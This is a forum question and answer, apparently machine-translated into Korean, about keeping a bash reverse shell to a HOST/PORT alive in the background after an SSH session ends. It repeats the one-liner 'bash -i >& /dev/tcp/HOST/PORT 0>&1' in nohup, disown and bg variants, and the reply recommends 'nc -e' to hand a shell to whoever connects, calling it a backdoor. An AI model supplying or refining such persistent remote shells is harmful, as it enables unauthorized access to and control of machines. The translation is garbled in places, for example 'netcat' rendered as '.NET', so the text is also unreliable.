bash -i >& /dev/tcp/HOST/PORT 0>&1
server1의 백그라운드에서 실행하고 싶습니다 . 연결을 수신하고 명령을 다시 보내고 싶습니다 HOST/PORT
. 따라서 tcpdump로는 충분하지 않습니다.
백그라운드에서 실행하려고 합니다.
bash -i >& /dev/tcp/HOST/PORT 0>&1 &
그리고nohup bash -i >& /dev/tcp/HOST/PORT 0>&1 & disown
그러나 위의 명령은 작동하지 않는 것 같습니다. 나도 노력했는데,
bg bash -i >& /dev/tcp/HOST/PORT 0>&1
그것도 작동하지 않습니다.
둘 다 .NET을 사용할 때 server1에 올바르게 연결할 수 없습니다 nc -l -vv -p PORT
.
방금 실행하면 작동 bash -i >& /dev/tcp/HOST/PORT 0>&1
하지만 SSH 연결을 끊으면 이 특정 연결이 닫히고 이 연결 뒤에 새 명령을 입력할 수도 없습니다.
답변1
나는 당신의 문제가 확실하다-interactive
피연산자에는 터미널이 필요하며 백그라운드 프로세스가 터미널을 차단합니다.stdin/stdout
.사용을 고려해보세요nc ... -e
연결 시 쉘이 호출됩니다. 거기에 편리한 작은 링크가 있습니다netcat
pdf 치트시트. ~을 위한-e
바라보다뒷문.GNU 버전이 필요할 수 있습니다.nc
그것을 사용하십시오 - 그렇지 않으면 다시 컴파일하고 싶을 것입니다.